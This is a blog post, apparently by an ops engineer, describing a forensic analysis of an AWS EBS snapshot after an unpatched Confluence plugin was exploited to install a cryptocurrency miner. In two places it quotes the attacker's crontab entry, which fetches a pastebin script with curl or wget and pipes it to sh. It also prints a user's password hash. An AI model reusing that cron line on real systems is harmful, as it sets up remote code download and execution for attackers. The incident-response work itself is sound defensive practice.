Performing Digital Forensics on an AWS EBS Volume
As a fellow Ops Engineer on the WebOps team here at Custom Ink I try to make InfoSEC a high priority and exercise 'best practices' when it comes to building out Infrastructure. However, as you're probably aware, ugh... 'stuff' happens! π This post will be a relatively deep dive into a fairly recent compromise we experienced and details on conducting a digital forensics analysis on an AWS EBS volume.
Setting the Stage
So picture yourself as an Ops Engineer, head phones on, coffee mug full, happily hacking away on your OpsChef cookbook. Then you happen to, out the corner of your eye, glance at your secondary monitor running Slack and see messages like "Confluence seems to be down"! Ugh... well that's not good people use that! π So headphones goes off and it's time to enter, what I like to secretly call, 'WebOps beast mode'! π€
After logging into our Confluence instance we noticed a process with ~200% CPU utilization! After a quick Google search we hit an Atlassian post describing a vulnerability in a couple Confluence plugins that were being exploited; resulting in the installation of some malware which installs a cryptocurrency miner!
So I did a kill -9 on this suspicious process. It immediately came back! After checking some crontabs I found an entry where a very suspicious job was grabbing a script from pastebin! I recall thinking to myself 'that's not good'! I deleted this job from crontab and it immediately came back! At this point one thing was clear: Houston we have a problem! π
Performing Digital Forensics Analysis on an AWS EBS Volume
Tools Used
SIFT ( SANS Investigative Forensics Toolkit )
Evidence Gathering
Mount EBS vol. read-only.
Note: I'm using a snapshot of the originally compromised EBS volume and it's mounted read-only on an EC2 instance where SIFT is installed.
root@siftworkstation:/# mkdir /mnt/disk1
root@siftworkstation:~# mount -o ro /dev/xvdf1 /mnt/disk1
Run a ClamAV virus scan
root@siftworkstation:~# screen
root@siftworkstation:~# cd /tmp
root@siftworkstation:/tmp# clamscan --verbose --log=/var/log/virus-scan-compromised-ebs-inkernet --recursive=yes /mnt/disk1/
----------- SCAN SUMMARY -----------
Known viruses: 6108873
Engine version: 0.100.3
Scanned directories: 47853
Scanned files: 112317
Infected files: 0
Data scanned: 9021.82 MB
Data read: 20686.82 MB (ratio 0.44:1)
Time: 7341.887 sec (122 m 21 s)
Note: As of April 20, 2019 only 6 AntiVirus products have successfully detected this malware.
Search for know indicators of compromise via Loki.
root@siftworkstation:/tmp# cd /tmp/
root@siftworkstation:/tmp# wget https://github.com/Neo23x0/Loki/archive/v0.29.2.tar.gz
root@siftworkstation:/tmp# tar xf v0.29.2.tar.gz
root@siftworkstation:/tmp# cd Loki-0.29.2
root@siftworkstation:/tmp# python loki.py -p /mnt/disk1
[INFO] Scanning /mnt/disk1 ...
[NOTICE] Results: 0 alerts, 0 warnings, 6 notices
[RESULT] SYSTEM SEEMS TO BE CLEAN.
[NOTICE] Finished LOKI Scan SYSTEM: siftworkstation TIME: 20190417T00:55:56Z
Check CRON tab for anything suspicious.
root@siftworkstation:# cat /mnt/disk1/etc/crontab
root@siftworkstation:# ls /mnt/disk1/etc/cron.*
root@siftworkstation:# find /mnt/disk1/var/spool/cron/* -exec cat {} \;
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh
Check for unusual startup scripts.
root@siftworkstation:~# ls -als -t /mnt/disk1/etc/rc*.d/
Check for suspicious files in /tmp.
root@siftworkstation:~# ls -alh /mnt/disk1/tmp/
Look for unusual files ( SUID set ). None found.
root@siftworkstation:~# find /mnt/disk1/ -uid 0 -perm 4000 -print > /var/log/suid_inkernet_04_16.txt
Look for files with a high entropy.
Note: This could indicate a file that has been encrypted.
root@siftworkstation:~# densityscout -r -p 0.1 -l 0.1 -o /var/log/high_density_evidence.txt /mnt/disk1/
Review root user's bash history. Clean.
root@siftworkstation:~# cat /mnt/disk1/root/.bash_profile
Look for shell accounts with passwords set.
Note: This user is now using RSA key pairs for SSH access and password removed from system.
root@siftworkstation:~# cat /mnt/disk1/etc/shadow |grep -F "$" > /var/log/users_with_passwords_inkernet_evidence.txt
root@siftworkstation:~# cat /var/log/users_with_passwords_inkernet_evidence.txt
user1:$6$BH2Vs.qf$WbCuhETLzkBDDJUIYU4.BA7.7ipyguhz7eaATrOMaqFH231kj/LDTJKXZwdhSzrW8VMQ4xuYz2zvkf6WTc7nh.:17835:0:99999:7:::
root@siftworkstation:~# cat /mnt/disk1/etc/group |grep user1
sudo:x:27:ubuntu,user1
user1:x:1011:
Get a list of boot times and save to file for evidence.
Note: /var/log/cloud-init.log should exist on the disk of all EC2 instances. A history of boot times is good to have so you know when this instances was on-line and rebooted.
root@siftworkstation:~# grep Cloud-init /mnt/disk1/var/log/cloud-init.log > /var/log/cloud-init-log.txt
Identify past Ip addresses & local routing table of instance.
Note: A history of local Ip address is good to have when building a timeline.
root@siftworkstation:~# grep "ci-info" /mnt/disk1/var/log/cloud-init-output.log > /var/log/past-ips-evidence.txt
Identify Apt & dpkg history.
Note: Good to have a history of recently installed packages.
root@siftworkstation:~# cat /mnt/disk1/var/log/apt/history.log > /var/log/apt-history-evidence.txt
root@siftworkstation:~# cat /mnt/disk1/var/log/dpkg.log > /var/log/dpkg-log-evidence.txt
Perform a timeline analysis using fls and mactime.
root@siftworkstation:~# fls -r -m / /dev/xvdf1 > /var/log/timeline-body.txt
root@siftworkstation:~# mactime -b /var/log/timeline-body.txt -d > /var/log/timeline-evidence.csv
Recover unallocated space and sort files.
Note: This simple technique can be used to recover deleted files depending on specific compute environment and how/when a file was deleted.
root@siftworkstation:~# mkdir /var/log/unalocated_space_evidence_inkernet
root@siftworkstation:~# tsk_recover /dev/xvdf1 /var/log/unalocated_space_evidence_inkernet
Files Recovered: 83104
Get a list of md5 hashes of regular files.
root@siftworkstation:~# find /mnt/disk1/ -type f -exec /usr/bin/md5sum {} \; > /var/log/inkernet-root-disk-hashes.md5
cat inkernet-root-disk-hashes.md5 |awk '{ print $2 }' > /var/log/inkernet-root-disk-files-to-VT.txt
Get file list of main system binaries & save to disk.
Note: Only gathering md5 hashes for sytem binaries to submit to VirusTotal due to API rate limits on a free VirusTotal API key.
cat inkernet-root-disk-files-to-VT.txt |grep -E '/mnt/disk1/bin|/mnt/disk1/sbin/mnt/disk1/usr/local/bin|/mnt/disk1/usr/bin|/mnt/dist1/usr/sbin' > inkernet-root-disk-binaries-to-VT.txt
Submit hashes to VirusTotal.
Note: After submitting your list of hashes to VirusTotal, and they are processed, you can login to your free account to see if that hash matched a hash of know malware.
virustotal-submit.py -k api_key_here -f /var/log/inkernet-root-disk-binaries-to-VT.txt > /var/log/virustotal-results-inkernet-evidence.txt
Search for installed rootkits using rkhunter.
root@siftworkstation:~# rkhunter --update
root@siftworkstation:~# rkhunter --propupd
root@siftworkstation:~# rkhunter -c -l /var/log/rkhunter-scan-evidence.txt
System checks summary
=====================
File properties checks...
Files checked: 212
Suspect files: 63
Rootkit checksβ¦
Rootkits checked : 378
Possible rootkits: 0
Applications checks...
All checks skipped
The system checks took: 3 minutes and 31 seconds
All results have been written to the log file: /var/log/rkhunter-scan-evidence.txt
One or more warnings have been found while checking the system.
Reverse Engineering Malware
I won't go into much deatil here since the security firm Anomali has posted a detailed analysis of this exploit and associated malware here. However, I will note a few things.
CRONTAB
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh
This cronjob was found in the the crontab of the user running Confluence. As you can see this job runs every 10 minutes and grabs a script from pastebin. The attackers are essentially using pastebin.com here for Command & Control. So all they have to do is update their pastbin to push out an update to their malware. Sadly, pretty smart when you think about it! π
I'll also note they dropped in a SystemD config to ensure their Monero miner was always running. Yep, even cyber criminals can make use of SystemD to ensure their malware stays running! π
Noteworthy Items
- AWS GuardDuty showed high severity alerts 6 days prior to Confluence going down! π€ We now have a CloudWatch event for high severity GuardDuty findings that notifies us via AWS SNS. π
- It would have been much more difficult to recover here without a 'known good' snapshot.
Conclusion
A long story short, our Confluence instance was compromised by an unpatched plugin, EC2 instance rebuilt from a 'known good' snapshot, blameless postmortem conducted, and remediation items captured & resolved.
Stay safe out there! π
